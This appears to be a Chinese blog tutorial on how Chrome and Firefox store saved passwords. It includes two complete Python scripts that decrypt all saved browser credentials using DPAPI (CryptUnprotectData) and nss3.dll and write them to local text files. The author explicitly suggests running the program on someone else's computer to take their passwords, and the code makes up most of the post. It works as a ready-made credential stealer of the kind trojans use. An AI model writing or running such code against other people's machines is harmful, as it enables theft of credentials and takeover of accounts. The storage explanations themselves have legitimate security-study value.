在看一篇木马的分析时看到里面提到木马会读取浏览器的用户配置文件,并对其中的密码进行提取和上传,于是就有了兴趣,想看看浏览器是怎么对密码进行储存的。

现在 chrome 要查看浏览器保存的密码时需要首先验证登录账户的密码了,但这样其实保存的密码还是不够安全的,因为这个认证可以直接绕过。下面来分析一下 chrome 保存密码的方式,以及如何对保存的密码进行提取。

·chrome

chrome 的密码储存在目录 %localappdata%\Google\Chrome\User Data\Default\Login Data 文件中。打开文件可以看到大大的“SQLite format 3”嗯。。。文件看来是没有加密的。代码

然后看一下关键的密码,因为 chromium 是开源的,所以先去代码里翻翻看,可以找到使用的加密算法,在 components\os_crypt\os_crypt_win.cc 中可以看到,EncryptString16 / DecryptString16 分别使用的是 WIN32 API CryptProtectDataCryptUnprotectData

而这对 API 使用用户的登录凭据作为密钥来加密数据,也就是说比如在 Windows 上只有同一个用户才能解开这些已加密的数据,所以使用别的账户登录或是将文件复制到别的电脑上再进行解密都是不行的。

到这里就可以发现:只要用户已经登录,那么无需额外的密码就可直接获得浏览器存储的密码,只需跑一段代码即可。。。那么不说木马这些了,如果你能接触到他人的电脑,只要直接运行一下程序就能获取他的这些密码。

所以下面就来展示一下这样的代码吧w
流程很简单:只要从文件中查找中所有的记录,然后将密码字段里的数据逐个解密保存就好了。另外因为 chrome 运行时会锁定该文件,所以运行下面的代码前需要退出 chrome。获取到用户名和密码为空的字段说明该网站被设置为“一律不保存”。根据浏览器最初使用的不同,用户数据所在目录可能不是“Default”,这种情况把变量“chrome_path”更新下就行。
直接上代码:

# -*- coding: utf-8 -*-

import os
import win32crypt
import sqlite3

SaveFileName = r"pwd.txt"

def Extract():
    chrome_path = r"Google\Chrome\User Data\Default\Login Data"
    file_path = os.path.join(os.environ['LOCALAPPDATA'], chrome_path)
    if not os.path.exists(file_path):
        return

    conn = sqlite3.connect(file_path)
    cursor = conn.cursor()
    cursor.execute("select username_value, password_value, signon_realm from logins")

    with open(SaveFileName, 'wb') as o:
        for data in cursor.fetchall():
            password = win32crypt.CryptUnprotectData(data[1], None, None, None, 0)
            o.write("UserName:" + data[0].encode("utf8"))
            o.write("\nPassword:" + password[1])
            o.write("\nURL:" + data[2].encode("utf8"))
            o.write("\n*****************\n")

if __name__ == "__main__":
    Extract()

·Firefox

火狐的密码也是保存在用户的个人配置中,分为一个保存密钥的 key4.db SQLite数据库和加密数据的 logins.json,两者均存放在 %AppData%\Mozilla\Firefox\Profiles 下的子目录中。其加密方式是通过 nss3.dll 模块进行的,算法用的是 3DES(CBC)。另外火狐有主密码,该密码并未保存在任何地方,所以如果用户设置了主密码,那么解密时也需要提供该密码才能解密,这比起 chrome 来要安全不少。

解密的话可以调用 nss3.dll 的接口进行,提取结果保存到 %UserProfile%\output.txt 中(OutputFilePath变量)。代码如下:

# -*- coding: utf-8 -*-

import base64
import configparser
import ctypes
import json
import os


SEC_SUCCESS = 0
SEC_FAILURE = -1


NssDll = None
ProfilePath = ''
JsonConfigPath = ''
OutputFilePath = ''

# 填入主密码
MasterPwd = ''

class SECItem(ctypes.Structure):
    _fields_ = [
    ('type', ctypes.c_int),
    ('data', ctypes.c_char_p),
    ('len', ctypes.c_uint),
    ]


def InitNssDll(masterPwd):
    path = ctypes.c_char_p()
    path.value = ProfilePath.encode('utf-8')
    mpwd = ctypes.c_char_p()
    mpwd.value = masterPwd.encode('utf-8')

    global NssDll
    NssDll = ctypes.CDLL(r"nss3.dll")

    if NssDll.NSS_Init(path) != SEC_SUCCESS:
        print('NSS_Init failed')
        return False

    keySlot = NssDll.PK11_GetInternalKeySlot()
    if keySlot == 0:
        print('PK11_GetInternalKeySlot failed')
        return False

    if NssDll.PK11_CheckUserPassword(ctypes.c_int(keySlot), mpwd) != SEC_SUCCESS:
        print('PK11_CheckUserPassword failed')
        return False

    if NssDll.PK11_Authenticate(keySlot, 1, 0) != SEC_SUCCESS:
        print('PK11_Authenticate failed')
        return False

    return True


def LoadJsonPwdData():
    entries = []
    with open(JsonConfigPath, "r") as o:
        js = json.load(o)
        for i in range(len(js['logins'])):
            entries.append({
            'username':js['logins'][i]['encryptedUsername'],
            'pwd':js['logins'][i]['encryptedPassword'],
            'url':js['logins'][i]['hostname']})
        return entries


def Decode(cipher):
    data = base64.b64decode(cipher)
    secItem = SECItem()

    cipherItem = SECItem()
    cipherItem.type = 0
    cipherItem.data = data
    cipherItem.len = len(data)
    if NssDll.PK11SDR_Decrypt(ctypes.byref(cipherItem), ctypes.byref(secItem), 0) != SEC_SUCCESS:
        print('PK11SDR_Decrypt failed')
        raise

    result = ctypes.string_at(secItem.data, secItem.len).decode('utf8')
    return result


def DocodeEntry(entry):
    try:
        entry['username'] = Decode(entry['username'])
        entry['pwd'] = Decode(entry['pwd'])
    except:
        print('Error when decode [ ' + entry['url'] + ' ]')
        entry['username'] = '<Error>'
        entry['pwd'] = '<Error>'


def DetermineProfileDirPath():
    iniPath = os.path.join(os.environ['APPDATA'], r'Mozilla\Firefox\profiles.ini')
    config = configparser.ConfigParser()
    config.read(iniPath)
    return os.path.join(os.environ['APPDATA'], r'Mozilla\Firefox', config['Profile0']['Path'])


def main():
    global ProfilePath
    global JsonConfigPath
    global OutputFilePath
    ProfilePath = DetermineProfileDirPath()
    JsonConfigPath = os.path.join(ProfilePath, r'logins.json')
    OutputFilePath = os.path.join(os.environ['USERPROFILE'], r'output.txt')

    # 切换工作目录
    os.chdir(os.path.join(os.environ['PROGRAMFILES(X86)'], r'Mozilla Firefox'))

    if not InitNssDll(MasterPwd):
        return

    entries = LoadJsonPwdData()
    for i in range(len(entries)):
        DocodeEntry(entries[i])
    with open(OutputFilePath, 'w') as o:
        json.dump(entries, o, indent=1)


if __name__ == "__main__":
    main()

这个是处理 32 位版本的,要处理 64 位版本的话安装相应版本的 python 即可,然后切换的目标工作目录也换掉就行。